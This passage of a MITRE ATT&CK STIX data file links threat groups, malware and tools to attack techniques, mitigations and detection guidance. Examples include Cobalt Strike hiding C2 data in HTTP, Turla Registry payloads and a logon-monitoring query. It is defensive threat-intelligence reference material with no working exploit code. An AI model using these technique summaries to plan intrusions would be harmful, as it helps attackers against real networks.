2020."}],"modified":"2021-10-15T19:55:01.717Z","description":"Consider disabling or restricting NTLM.(Citation: Microsoft Disable NTLM Nov 2012) Consider disabling WDigest authentication.(Citation: Microsoft WDigest Mit)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--516fa29b-1a88-451c-a3ff-96af653b94ab","type":"relationship","created":"2019-06-04T19:50:48.447Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Group5","description":"Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.","url":"https://citizenlab.ca/2016/08/group5-syria/"}],"modified":"2019-07-25T17:52:06.602Z","description":"(Citation: Citizen Lab Group5)","relationship_type":"uses","source_ref":"intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40","target_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--516fd2f8-a709-43f4-86e1-c753e28113e1","created":"2022-02-02T15:38:26.382Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LitePower](https://attack.mitre.org/software/S0680) can take system screenshots and save them to `%AppData%`.(Citation: Kaspersky WIRTE November 2021)","modified":"2022-04-15T19:56:22.534Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51742efe-5f0c-4fbf-9eb7-5e765a0a408f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-11T17:45:33.769Z","description":"[Remsec](https://attack.mitre.org/software/S0125) can ping or traceroute a remote host.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--517735b6-69f4-4188-8fef-45981220e4bc","type":"relationship","created":"2021-11-17T14:06:48.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"modified":"2021-11-17T14:06:48.793Z","description":"(Citation: MSTIC FoggyWeb September 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5179f874-72fb-4743-bd51-3f3fdb660038","created":"2021-05-20T15:05:36.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T19:41:08.107Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can leverage the HTTP protocol for C2 communication, while hiding the actual data in either an HTTP header, URI parameter, the transaction body, or appending it to the URI.(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5181727e-706d-4e57-8a41-628a27e03c6c","type":"relationship","created":"2019-09-03T18:32:49.397Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LOLBAS Esentutl","url":"https://lolbas-project.github.io/lolbas/Binaries/Esentutl/","description":"LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019."}],"modified":"2019-09-05T17:35:41.480Z","description":"[esentutl](https://attack.mitre.org/software/S0404) can be used to read and write alternate data streams.(Citation: LOLBAS Esentutl)","relationship_type":"uses","source_ref":"tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5183147b-4563-4a01-a360-a419691e35f8","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-17T02:14:55.982Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) may collect information about the currently logged in user by running whoami on a victim.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5183413b-6e77-4ea8-ba48-6eddfbcfd40a","created":"2024-09-25T13:46:39.599Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:46:39.599Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. ","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--718cb208-6446-4572-a2f0-9c799c60091e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--518c01b6-fbc0-4039-9732-864627656899","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:36:48.848Z","description":"Monitor for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. \n\nA remote desktop logon, through [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001), may be typical of a system administrator or IT support, but only from select workstations. Monitoring remote desktop logons and comparing to known/approved originating systems can detect lateral movement of an adversary.\n\nMultiple users logged into a single machine at the same time, or even within the same hour, do not typically occur in networks we have observed.\nLogon events are Windows Event Code 4624 for Windows Vista and above, 518 for pre-Vista. Logoff events are 4634 for Windows Vista and above, 538 for pre-Vista. Logon types 2, 3, 9 and 10 are of interest. For more details see the Logon Types table on Microsoft’s Audit Logon Events page.\n\nAnalytic 1 - Remote Desktop Logon\n\n(source=\"*WinEventLog:Security\" EventCode=\"4624\") AuthenticationPackageName= \"Negotiate\" AND Severity= \"Information\" AND logon_type= \"10\"\n","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--518e99d1-d80e-4a5c-9b47-301da8b501e4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html","description":"Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.","source_name":"FireEye FELIXROOT July 2018"},{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-17T01:16:25.811Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) uses HTTP and HTTPS to communicate with the C2 server.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5197fd7a-766f-45da-87f5-c469377460d1","type":"relationship","created":"2020-06-08T17:22:35.549Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-15T21:19:30.918Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to index and compress files into a send queue for exfiltration.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--519b3d7a-2de3-470b-a1cd-f40d0c351ea3","type":"relationship","created":"2020-08-13T14:05:44.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:05:44.782Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can steal data and credentials from browsers.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--519beaec-1b79-42d7-9739-8c22e896e0cd","type":"relationship","created":"2021-09-14T16:04:26.448Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2021-09-14T18:41:10.455Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) can modify registry values within the Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap registry key.(Citation: NCC Group WastedLocker June 2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--519c4c7f-8495-4b8a-b58e-551a78e469cc","type":"relationship","created":"2017-05-31T21:33:27.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"},{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2019-07-14T21:04:44.729Z","description":"[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover information in the Windows Registry with the reg query command.(Citation: Kaspersky Turla) [Turla](https://attack.mitre.org/groups/G0010) has also retrieved PowerShell payloads hidden in Registry keys as well as checking keys associated with null session named pipes .(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51a03c8a-1983-4bdd-b326-78ec67f86f06","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"},{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-10-14T22:38:11.536Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can use [Tasklist](https://attack.mitre.org/software/S0057) to collect a list of running tasks.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--51a4c7b0-608a-415b-b59d-87d2b81371e7","created":"2022-03-30T14:26:51.855Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for processes and/or command-lines to install or modify login hooks, as well as processes spawned at user login by these hooks.","modified":"2022-04-16T02:49:05.035Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--51a6fef6-3536-4c06-8724-49b88af6b585","created":"2024-09-25T14:18:03.513Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AWS RE:Inforce Threat Detection 2024","description":"Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.","url":"https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"},{"source_name":"Microsoft Cryptojacking 2023","description":"Microsoft Threat Intelligence. (2023, July 25). Cryptojacking: Understanding and defending against cloud compute resource abuse. Retrieved September 5, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/07/25/cryptojacking-understanding-and-defending-against-cloud-compute-resource-abuse/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:16:32.639Z","description":"Monitor for changes to resource groups, such as creating new resource groups or leaving top-level management groups. In Azure environments, monitor for changes to subscriptions.(Citation: Microsoft Cryptojacking 2023) In AWS environments, monitor for API calls such as `CreateAccount` or `LeaveOrganization`.(Citation: AWS RE:Inforce Threat Detection 2024)","relationship_type":"detects","source_ref":"x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e","target_ref":"attack-pattern--0ce73446-8722-4086-9d43-514f1d0f669e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51adc4b0-bf1b-4c55-ac6c-72b46560e833","type":"relationship","created":"2020-10-01T13:33:13.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Anchor DNS July 2020","url":"https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30","description":"Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."}],"modified":"2020-10-01T13:33:13.771Z","description":"[Anchor](https://attack.mitre.org/software/S0504) can execute payloads via shell scripting.(Citation: Medium Anchor DNS July 2020)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51adca8c-07a6-4f5b-a443-682e27a289f6","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51afbe4e-c5cd-4acd-b4e1-ff7877b78b9e","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.cyberscoop.com/fin7-dde-morphisec-fileless-malware/","description":"Waterman, S. (2017, October 16). Fin7 weaponization of DDE is just their latest slick move, say researchers. Retrieved November 21, 2017.","source_name":"CyberScoop FIN7 Oct 2017"}],"modified":"2019-06-30T23:13:18.421Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) spear phishing campaigns have included malicious Word documents with DDE execution.(Citation: CyberScoop FIN7 Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--51b09cc3-d54b-4b22-a354-0e2094851321","created":"2024-02-09T21:31:10.106Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T21:31:10.106Z","description":"(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--51b34c1f-4e2f-4bb7-98a1-fa90ed873eba","created":"2023-04-05T15:19:22.063Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:19:22.063Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can write the process ID of a target process into the `HKEY_LOCAL_MACHINE\\SOFTWARE\\DDE\\tpid` Registry value as part of its reflective loading activity.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--51b44905-4efe-46f7-968b-feee7401c641","created":"2022-03-30T14:26:51.859Z","x_mitre_version":"0.1","external_references":[{"source_name":"SensePost NotRuler","url":"https://github.com/sensepost/notruler","description":"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for third-party application logging, messaging, and/or other artifacts that may leverage Microsoft Office-based applications for persistence between startups. SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)","modified":"2022-04-20T12:40:31.114Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51c5e624-d08e-4750-91f9-fdc98ec56552","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-16T17:16:53.542Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) completes network communication via raw sockets.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51c6ea7a-8978-4bd5-9cc1-7d80bb16e70b","type":"relationship","created":"2020-01-23T18:56:39.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T18:59:36.949Z","description":"Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51cc3f41-f5aa-4d04-95de-15d96e103bac","type":"relationship","created":"2020-05-05T20:54:53.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-05-05T20:54:53.062Z","description":"[BlackTech](https://attack.mitre.org/groups/G0098) has exploited a buffer overflow vulnerability in Microsoft Internet Information Services (IIS) 6.0, CVE-2017-7269, in order to establish a new HTTP or command and control (C2) server.(Citation: TrendMicro BlackTech June 